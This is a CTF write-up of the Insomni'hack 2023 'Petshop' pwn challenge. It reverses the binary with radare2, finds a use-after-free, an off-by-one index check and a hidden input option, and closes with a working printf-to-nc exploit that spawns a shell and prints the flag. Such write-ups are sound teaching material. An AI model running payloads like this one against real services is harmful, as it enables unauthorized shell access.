Insomni'hack 2023 writeup: Petshop

This year at the Insomni'hack CTF I've focused on reverse challenges. I only managed to solve a single challenge which wasn't really difficult.

Petshop - warmup/pwn

Welcome to my petshop, where you can buy new dogs. Be mindful that when you buy a dog it is for its lifetime. No abandonment allowed !!
nc petshop.insomnihack.ch 6666`

This is a pwn and as warmup challenge it should not be too difficult...

Reverse

We don't have the program source-code but we do have the binary with symbols! This challenge is tagged as pwn, thus we will need to exploit the vulnerable binary running on the server and get a shell access. This is a warmup challenge, I don't expected to have to write a shell-code, that's why I first searched for a "/bin/sh" string in the binary.

[0x00401210]> / /bin
0x00402008 hit0_0 ./bin/shWooof... Woo.

I used r2 to search for a "/bin" string in the binary, we have a hit.

[0x00401210]> aaa # analyze all (+ function auto name)
[0x00401210]> axt hit0_0 # print Xref to "/bin"
sym.specialAbility 0x40132e [DATA:r--] lea rax, str._bin_sh

Now we search for where this data resource is used or where it is referenced, that's what is called an Xref. We can see that the "/bin/sh" string is used in the sym.specialAbility function. We can repeat the process with sym.specialAbility.

[0x00401210]> axt sym.specialAbility # print Xref
# nothing

sym.specialAbility

Let's take a closer look at sym.specialAbility.

[0x0040131c]> pdf sym.specialAbility
┌ 36: sym.specialAbility ();
│           0x0040131c      f30f1efa       endbr64
│           0x00401320      55             push rbp
│           0x00401321      4889e5         mov rbp, rsp
│           0x00401324      bf00000000     mov edi, 0
│           0x00401329      e8c2feffff     call sym.imp.setuid
│           0x0040132e      488d05d30c00.  lea rax, str._bin_sh
│           0x00401335      4889c7         mov rdi, rax
│           0x00401338      e813feffff     call sym.imp.system
│           0x0040133d      90             nop
│           0x0040133e      5d             pop rbp
└           0x0040133f      c3             ret

which in C is:

void sym.specialAbility(void) {
	setuid(0);
	system("/bin/sh");
}

Calling this function is indeed what we need, but this function isn't used anywhere.

sym.basicAbility

Since the binary is not stripped we have all the symbols, one of them had a similar name: sym.basicAbility. Let's take a look.

[0x00401340]> s sym.basicAbility # seek to the addr of sym.basicAbility symbol
[0x00401340]> pdf # print disassemble of function
; DATA XREF from main @ 0x4014dc(r)
┌ 26: sym.basicAbility ();
│           0x00401340      f30f1efa       endbr64
│           0x00401344      55             push rbp
│           0x00401345      4889e5         mov rbp, rsp
│           0x00401348      488d05c10c00.  lea rax, str.Wooof..._Woof..._Woof
│           0x0040134f      4889c7         mov rdi, rax
│           0x00401352      e8e9fdffff     call sym.imp.puts
│           0x00401357      90             nop
│           0x00401358      5d             pop rbp
└           0x00401359      c3             ret
[0x00401340]> pdg # print decompiled using r2-ghidra plugin
void sym.basicAbility(void) {
	sym.imp.puts("Wooof... Woof... Woof...");
	return;
}

This function simply prints the string "Wooof... Woof... Woof..." to stdout, this is a petshop what did you expected, uh? But sym.basicAbility has a DATA Xref, it is used in main @ 0x4014dc.

main loop

If we run the program we can see the following output:

$ ./petshop
[1] Get a new animal
[2] Recall all your animals names
[3] Use your pet special ability
[4] Let him go
[5] Quit
>

The program has a menu with 5 entries which triggers different actions.

After a bit of reversing, we can focus on three interesting actions:

allocating new animals

Here is a pseudo code of the first action, thanks to a bit of reversing and to r2-ghidra plugin:

if (nr_dog < 5) {
	dogs[nr_dog] = malloc(0x80);
	srand(time(0));
	idx = rand() % 3;
	strcpy(&dogs[nr_dog], &names[idx * 5]);
	*((&dogs[nr_dog] + 0x18) = sym.basicAbility;
	printf("Wonderful, you now own a little dog called %s\n", &dogs[nr_dog]);
	nr_dog++;
} else {
	puts("You have too much animals!");
}

We can see that:

In other words, we can say that the animal struct look something like:

struct animal {
	char name[0x18];
	void (*ability)(void);
};

freeing animals

if (nr_dog == 5) {
	for (i = 4; 0 < i; i--) {
		free(dogs[i]);
		dogs[i] = NULL;
		nr_dog--;
	}
	free(dogs[0]);
	nr_dog--;
	puts("All your animals have been freed");
} else if (nr_dog < 1) {
	puts("You must have 5 animals to free them all together");
} else {
	free(dest[nr_dog - 1]);
	dogs[nr_dog - 1] = NULL;
	nr_dog--;
}

The interesting part here is when we free all the animals at once, in the case of nr_dog == 5. When doing so, the first pointer isn't set to NULL.

This is suspicious and we should search for a code that can be exploited to reuse this pointer, also known as an use-after-free.

do the trick!

The last case calls the pet ability, it asks first for the pet number to ask for a trick and then call it's ability function.

printf("Which one: ");
scanf("%d", &idx);
if (idx < 0) {
    puts("I don't think so");
} else if (idx < 6) {
    if (nr_dog < idx) { /* bogus */
		puts("No, no, no....");
	} else {
		/* call dogs[idx].ability(); */
		(**((&dogs)[idx] + 0x18))();
	}
} else {
	puts("Please...");
}

During early testing I easily managed to cause a segmentation fault when testing the special ability. Turns out that there is an error on the index bound check: an index equal to the count of dogs is considered valid. Thus if nr_dog == 0 and index of 0 isn't rejected. This makes it possible to call a previously freed dog!

Missing piece

The only missing piece is a way to overwrite the dog structure with a pointer to sym.specialAbility. I spent an awful lot of time during the event searching for something that was right under my nose:

if (choice == 1337) {
	buf = malloc(0x80);
	scanf("%32s", buf);
	clear_buffer();
}

The menu had an extra action, not displayed in the menu, that writes to a newly malloc'ed buffer. This is exactly what we were missing. We can expect malloc to returns the same address as the previously freed memory, the same address pointed by the dog pointer at index 0.

This behavior is very-likely implementation defined, but I didn't bothered looking at malloc implementations.

Exploitation

The courses of action to exploit this binary is as follow:

$ (printf '1\n1\n1\n1\n1\n4\n1337\nAAAAaaaaBBBBbbbbCCCCcccc\x1c\x13\x40\x00\n3\n0\n'; cat) | nc petshop.insomnihack.ch 6666
> cat flag
flag INS{Us3_4Ft3r_Fr33_ArE_R3al1y_34sY_To_3xPlOi7}

Conclusion

This challenge wasn't really hard, but still took me a lot of time. This was also the first time that I solved a pwn challenge during a CTF.

For me key takeaways are: